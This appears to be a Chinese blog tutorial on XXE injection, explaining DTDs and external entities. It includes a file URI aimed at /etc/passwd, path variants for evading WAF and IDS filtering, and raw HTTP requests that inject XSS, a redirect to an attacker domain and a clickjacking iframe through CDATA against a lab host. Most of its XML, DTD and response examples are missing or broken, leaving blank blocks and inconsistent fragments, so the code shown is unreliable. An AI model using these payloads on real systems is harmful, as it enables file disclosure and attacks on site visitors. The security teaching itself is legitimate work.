XXE漏洞学习从入门到放弃

或许是不知梦的缘故,流离之人追逐幻影!

XXE漏洞学习从入门到放弃_第1张图片
image.png

0X00 前言

首先介绍一下什么是XXE:

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

我们可以利用XML注入来做很多有意思的事情,具体看后文,有hacking细节.


0X01 关于DTD的那些事

先非常简短的介绍一下DTD吧(怎么可能短☺):

DTD全称是The document type definition,即是文档类型定义,
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

有了DTD文档,独立的应用程序,可以用最少的交互来交换和处理数据。 一个应用程序也可以使用DTD来确认从DTD收到的数据是有效的 另外,DTD可以用来配置一个XML/Web应用程序防火墙,例如 : XML防火墙验证XML用户 - 提供基于DTD的输入。

下面是一个小demon:

一般通用的结构:






data
..
..

看一个产品目录的实例:





















]>

Internal DTD:








Myself
Someone
TheReminder
This is an amazing book

External DTD:




Myself
Someone
TheReminder
This is an amazing book

tips:如果DTD在外部文件中声明,则DOCTYPE定义必须包含对DTD文件的引用。 这个文件从外部暴露给目标应用程序并且对于攻击者来说,它是有价值的。 DTD文档从安全角度来看非常重要,因为它们有助于理解XML解析器的攻击面。

go on!
XML标准使用了一个名为外部一般解析实体的概念,也称为外部实体。 在上下文中的外部实体的XML解析器,用于引用可以在Web应用程序代码之外的位置找到数据,例如:本地或远程文件系统; 这可以使用各种众所周知的协议来检索,例如HTTP,FTP或HTTPS。 该实体的目的是通过使用统一资源定位符(URI)形式的链接帮助减少重复出现的信息的进入。 URI在RFC 3986中定义---> URI 是一个紧凑的字符序列,用于标识抽象或物理资源。大多数流行的标记语言用于引用内容,并且普通的互联网用户在浏览互联网时非常happy地点击了数千个这样的引用。滑稽!

使用SYSTEM的外部DTD实体:



使用Public的外部DTD实体:


 entity-name;

外部参数实体引用用于链接外部DTD文档。有两种类型的外部实体:私人和公共.专用外部实体由关键字SYSTEM标识,旨在只供单人使用或者多人.公共外部实体由关键字PUBLIC标识,旨在用于广泛使用。public_ID可以被XML处理器用来生成可以找到外部参数实体的替代URI。 如果在这个URI中找不到它,那么XML处理器必须使用正常的URI。

具有简单数据的DTD外部实体:


XXE来源:

&target_document;

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。渗透测试中,你可能不得不尝试这三个关键字来找到适当的组合。
看菜鸟上是怎么说的:

XXE漏洞学习从入门到放弃_第2张图片
image.png

完成XXE实体:



&wing;

我们假设从目标Web应用程序使用的XML消息仅包含一个名为msg的字段。 以及使用xml消息功能的应用程序。

一个简单的HTTP请求XML消息:

 ]>

username&xxefca0a; userpass1
100,1 costumer description

HTTP响应:

 ]>

username&xxefca0a; userpass1
100,1 costumer description

标记语言中的URI来源:
URI在RFC 3986统一资源标识符中定义。 URI是标识抽象或物理资源的紧凑字符序列。 其中一些用途是:

  • 1.在HTML中,img元素的src属性的值提供了一个
    URI引用,就像a或link元素的href属性的值一样。
  • 2.在XML中,DTD中出现在SYSTEM关键字后面的系统标识符是一个无片段URI引用。
  • 3.在XSLT中,xsl:import 元素/指令的href属性的值是一个URI引用; 同样,同样也是document()函数的第一个参数。
    可以去百度百科看看具体介绍,喵。
    有效的URI路径示例:
file: ../../../etc/passwd
http://evilwing.me/wing.txt
ftp://evilwing.me/wing.txt

在解析XML文档的过程中,解析器将处理这些链接并在返回的XML文档中包含URI的内容,请参阅URI路径包含各种协议,如FTP,HTTP和HTTPS。 根据XML处理器的不同,某些协议可能不会被处理。 尽管如此,向目标XML解析器提供不支持的协议可能会返回有用的错误消息,这将有助于我们获取有关系统的更多信息。 也可以使用XML格式的XML解析器来帮助我们:

  • 1.生成有意义的XML解析器错误消息
  • 2.bypass Web应用程序的过滤
  • 3.bypass Web应用程序防火墙的过滤
  • 4.在IDS和IPS系统上无法检测

破坏的URI路径的示例:

ˆ../../../file.txt
../\\../\\../\\ file.txt
../\../\../\ file.txt
..//..//..//file.txt

这些不符合标准的URI路径有时候可能会有意想不到的效果。
提供的XML解析器可能会帮助我们绕过XML解析器或系统过滤器。

那么,XML解析器在哪里会被使用?

XML解析器用于根据预定义的结构读取XML文件或字符串并获取其内容
。 XML解析器的输出通常被转发到目标Web应用程序代码或外部XML馈送器。 从统计学角度讲,XML解析器的主要用途是将XML文档转换为XML DOM对象,然后可以通过互联网浏览器引擎来操纵,例如, Safari HTML解释器,自定义JavaScript客户端等,XML技术使我们能够解决许多与组装和重新安排所需格式信息有关的问题,这是因为XML解析器没有使用任何自定义序列化协议。因此,XML解析器由于其高度通用和动态的特性而成为攻击的理想应用。此图显示了XML解析器流程图:

XXE漏洞学习从入门到放弃_第3张图片
image.png

XML解析器内部是如何工作的?

XML解析基本上是将信息分解成更小的组成部分并分别处理它们的行为。 这意味着信息块的每个部分(例如来自XML请求的单个节点)在破坏后可能对终端系统有不同的含义; 所以最初它被视为文本,后来以统一资源定位符(URI)为例。

解析器被视为可由目标Web应用程序代码引用的程序,代码片段或API,以便随后分析,识别或处理用户提供的信息组成部分。所有处理XML请求和读取用户输入的应用程序都可能具有某种类型的解析器,否则它们将永远无法确定插入的信息的含义。通常,XML解析器有多种不同的格式和样式。它们可以是独立的开源软件,也可以是库,模块,甚至是类。这使得一些XML解析器在从一个应用程序到另一个应用程序的方式上有着完全不同的表现。例如目标Web应用程序可能会为大多数应用程序提供强大的输入验证机制,但专门针对XML解析器的输入可能没有适当的过滤。这是开发这些类型应用程序的许多公司在发布它们时会出现漏洞的主要原因。

XML解析和XXE

当XML处理器识别对XML解析实体(包括外部实体)的引用时,处理器有义务包括其替换文本,例如, URI引用的实际文档。 如果实体是外部的,并且处理器没有试图验证XML文档(这是默认配置),它可能包括实体的替换文本。 如果非验证处理器不包含替换文本,它将通知应用程序它已识别实体,但最终没有读取该实体,并且处理器将尝试读取它而没有成功。 这个事件会产生一个错误信息,如果处理不当,最终会在用户或攻击者的浏览器中泄露有用的信息。 这条规则基于SGML和扩展标记语言(XML)实体机制提供的自动包含.

还值得一提的是,当一个实体引用出现在一个属性值中,或者一个参数实体引用出现在一个文字实体值中时,它的替换文本必须被处理而不是引用本身,就好像它是文档的一部分。 除了替换文本中的单引号或双引号字符,必须始终被视为普通数据字符,并且不得终止。

生成XML错误

识别XXE injection并不是一件容易的事。 就像任何其他注入攻击一样,目标Web应用程序可能会利用各种对策来防御XXE injection,例如, 它可能会利用Web应用程序过滤器,Web应用程序防火墙,第7层IPS系统等。 下面列表是可用于破坏XML模式并生成详细错误消息的所有相关字符:

  • '
  • "
  • ''(two apostrophe)
  • ""
  • <
  • >
  • ]]>
  • ]]>>
  • \
  • /-->
  • -->
XXE Response:

...[content omitted]...




Simple Echo Service



Hello

XXE Echo Service






响应没毛病,说明注释起到了作用。


### XXE Injections和CDATA标签
在处理CDATA标签时,XML解析器完全忽略了里面的数据; 更具体地说,包含在CDATA标签内的内容都被包含在内。 以下演示CDATA在我们的小型Web应用程序中的行为:

XXE request:

GET /xml/example1.php?xml=
%3Cmsg%3EHello%20%3C![CDATA[junk]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

%3Cmsg%3EHello%20%3C![CDATA[wing]]%3E%3C/msg%3E
Hello

上面的文本演示了来自浏览器的GET请求CDATA标签元素。
XXE Response:

...[content omitted]...




Simple Echo Service



Hello junk

XXE Echo Service





上面的文本演示了使用CDATA标签的服务器回复

### XXE注入和XSS
XXE注入也可用于xss。使用XML的Cross Site Scripting攻击可以使用CDATA标签实现。以下示例显示如何利用XML回显服务来执行XSS。
 XXE Request:

GET /xml/example1.php?xml=
%3Cmsg%3EHello%20%3C![CDATA[%3
Cscript%3Ealert(%22XSS%22)%3C/script%3E]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3Ealert(%22XSS%22)%3C/script%3E]]%3E%3C/msg%3E

Hello alert("EvilWing")]]>

上面显示的GET请求显示了如何使用CDATA标记将弹框注入到XML消息中。
XXE Response:

...[content omitted]...




Simple Echo Service



Hello

XXE Echo Service





注入成功!

### XXE注入和重定向
这一部分演示了如何使用window.location.assign JavaScript对象执行重定向。 assign方法用于在浏览器中加载新文档。 当然,还有其他方法可以执行重定向,这里我们将使用assign方法。 在某些情况下,由于同源策略(SOP),assign方法无法执行,在这种情况下会引发SECURITY-ERROR类型的DOM Exception。 当参与该方法的脚本的来源与最初托管该脚本的页面的来源不同时,就会发生这种情况。 该脚本托管在不同的域上。 如果XML消息源的来源位于不同的域中(除非在SOP策略中添加了异常处理),这种类型的攻击可能会失败。
XXE Request:

GET /xml/page1.php?xml=%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E
window.location.assign
(%22http://www.evilwing.me%22)%3C/script%3E]]%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

%3Cmsg%3EHello%20%3C![CDATA[%3Cscript%3E
window.location.assign(%22http://www.evilsite.com%22)%3C/script%3E]]%3E%3C/msg%3E

Hellowindow.location.assign("http://evilwing.me")]]>

XXE Response:

...[content omitted]...



Simple Echo Service



Hello
Hello

XXE Echo Service





成功!
### XXE注入和点击劫持
XXE注射也可以用来执行点击劫持攻击。当攻击者设法成功构建目标Web应用程序页面时,就会发生点击劫持攻击,我们还将演示如何将点击劫持攻击与XXE注入结合使用。 以下GET请求再次显示hacker如何使用CDATA标签插入iframe。

GET /xml/p.php?xml=/xml/page1.php
?xml=%3Cmsg%3EHello%20%3Ciframe%20src=%22
http://www.evilsite.com/%22%3E%3C/msg%3E HTTP/1.1
Host: 172.16.6.131
User-Agent: Evil Dude
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


%3Cmsg%3EHello%20%3Ciframe%20src=%22
http://www.evilwing.mem/%22%3E%3C/msg%3E

Hello